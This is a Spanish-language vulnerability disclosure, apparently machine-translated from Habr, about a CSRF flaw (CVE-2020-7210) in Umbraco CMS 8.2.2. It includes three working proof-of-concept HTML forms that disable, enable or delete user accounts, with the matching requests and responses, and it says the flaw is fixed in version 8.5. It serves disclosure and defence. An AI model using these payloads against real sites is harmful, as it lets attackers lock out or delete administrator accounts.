CSRF en Umbraco CMS

La falsificaci贸n de solicitudes entre sitios se puede utilizar para realizar solicitudes web arbitrarias al sistema de gesti贸n de contenido Umbraco CMS e identificar a sus usuarios sin su conocimiento. Tal ataque siempre requiere interacci贸n con el usuario, pero como regla, es suficiente que la v铆ctima siga un enlace especialmente preparado o visite una p谩gina web que est谩 bajo el control de un atacante. Esto permite activar, desactivar o eliminar completamente las cuentas de usuario. Como resultado, existe una amenaza de ataques DoS en las cuentas.



Antecedentes


Durante la prueba de una peque帽a penetraci贸n de recursos se descubri贸 CSRF -uyazvimost en fresco en el momento Umbraco CMS. Esta vulnerabilidad permiti贸 activar, desactivar o eliminar por completo las cuentas de usuario, incluidas aquellas con privilegios administrativos.

A pesar de que en el 煤ltimo informe OWASP Top Ten 2017, las vulnerabilidades CSRF dejaron la lista de las 10 m谩s cr铆ticas, es demasiado pronto para descontarlas.

La vulnerabilidad se prob贸 en la versi贸n 8.2.2; en la versi贸n 8.5, ya se ha solucionado, pero es posible que otras versiones anteriores sigan siendo vulnerables. Se recomienda encarecidamente a los usuarios de este producto que actualicen de inmediato a la 煤ltima versi贸n disponible.

Prueba de concepto


En caso de un ataque real, el siguiente documento HTML se colocar谩 en un sitio web malicioso controlado por un atacante.

Ejemplo 1: HTML para deshabilitar a un usuario


<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://<host-URL>/umbraco/backoffice/UmbracoApi/Users/PostDisableUsers?userIds=<USER-ID>" method="POST">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Una solicitud que se env铆a al servidor en nombre de la v铆ctima:

POST /umbraco/backoffice/UmbracoApi/Users/PostDisableUsers?userIds=<USER-ID> HTTP/1.1
Host: <host-URL>
[...]
Cookie: <ADMIN-COOKIE>

La respuesta recibida del servidor:

HTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Pragma: no-cache
Content-Length: 112
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Set-Cookie: <ADMIN-COOKIE>
Date: Wed, 06 Nov 2019 10:57:45 GMT
Connection: close

)]}',
{"notifications":[{"header":"<USERNAME> is now disabled","message":"","type":3}],"message":"<USERNAME> is now disabled"}

Ejemplo 2: HTML para habilitar a un usuario


<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://<host-URL>/umbraco/backoffice/UmbracoApi/Users/PostEnableUsers?userIds=<USER-ID>" method="POST">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Investigaci贸n:

POST /umbraco/backoffice/UmbracoApi/Users/PostEnableUsers?userIds=<USER-ID> HTTP/1.1
Host: <host-URL>
[...]
Cookie: <ADMIN-COOKIE>

Responder:

HTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Pragma: no-cache
Content-Length: 110
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Wed, 06 Nov 2019 10:58:12 GMT
Connection: close

)]}',
{"notifications":[{"header":"<USERNAME> is now enabled","message":"","type":3}],"message":"<USERNAME> is now enabled"}

Ejemplo 3: HTML para eliminar un usuario


<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://<host-URL>/umbraco/backoffice/UmbracoApi/Users/PostDeleteNonLoggedInUser?id=<USER-ID>" method="POST">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Investigaci贸n:

POST /umbraco/backoffice/UmbracoApi/Users/PostDeleteNonLoggedInUser?id=<USER-ID> HTTP/1.1
Host: <host-URL>
[...]
Cookie: <ADMIN-COOKIE>

Responder:

HTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Pragma: no-cache
Content-Length: 114
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Set-Cookie: <ADMIN-COOKIE>
Date: Wed, 06 Nov 2019 10:58:36 GMT
Connection: close

)]}',
{"notifications":[{"header":"User <USERNAME> was deleted","message":"","type":3}],"message":"User <USERNAME> was deleted"}


La v铆ctima recibe una respuesta del servidor en formato JSON (pantalla en la que se puede hacer clic).

Tan pronto como una v铆ctima autenticada (administrador) visita un sitio web con HTML malicioso incrustado, el contenido malicioso activo comienza a ejecutarse en el contexto de la sesi贸n de la v铆ctima. Aunque las respuestas a estas solicitudes no se entregan al atacante, en muchos casos ser谩 suficiente para que ponga en peligro la integridad de la informaci贸n de la v铆ctima almacenada en el sitio, o para ejecutar solicitudes potencialmente comprometedoras en otros sitios.

En lugar de una conclusi贸n


Aunque recientemente se han enviado m谩s y m谩s ataques al lado del servidor desde el lado del cliente, a煤n deben recibir la debida atenci贸n. Despu茅s de hablar con el cliente, nos contactamos r谩pidamente con el proveedor del producto de software y recibimos informaci贸n sobre la correcci贸n. A la vulnerabilidad se le asign贸 el 铆ndice CVE-2020-7210. Admito, para m铆 como pentester, esta es la primera vulnerabilidad en recibir el 铆ndice CVE.

Source: https://habr.com/ru/post/undefined/


All Articles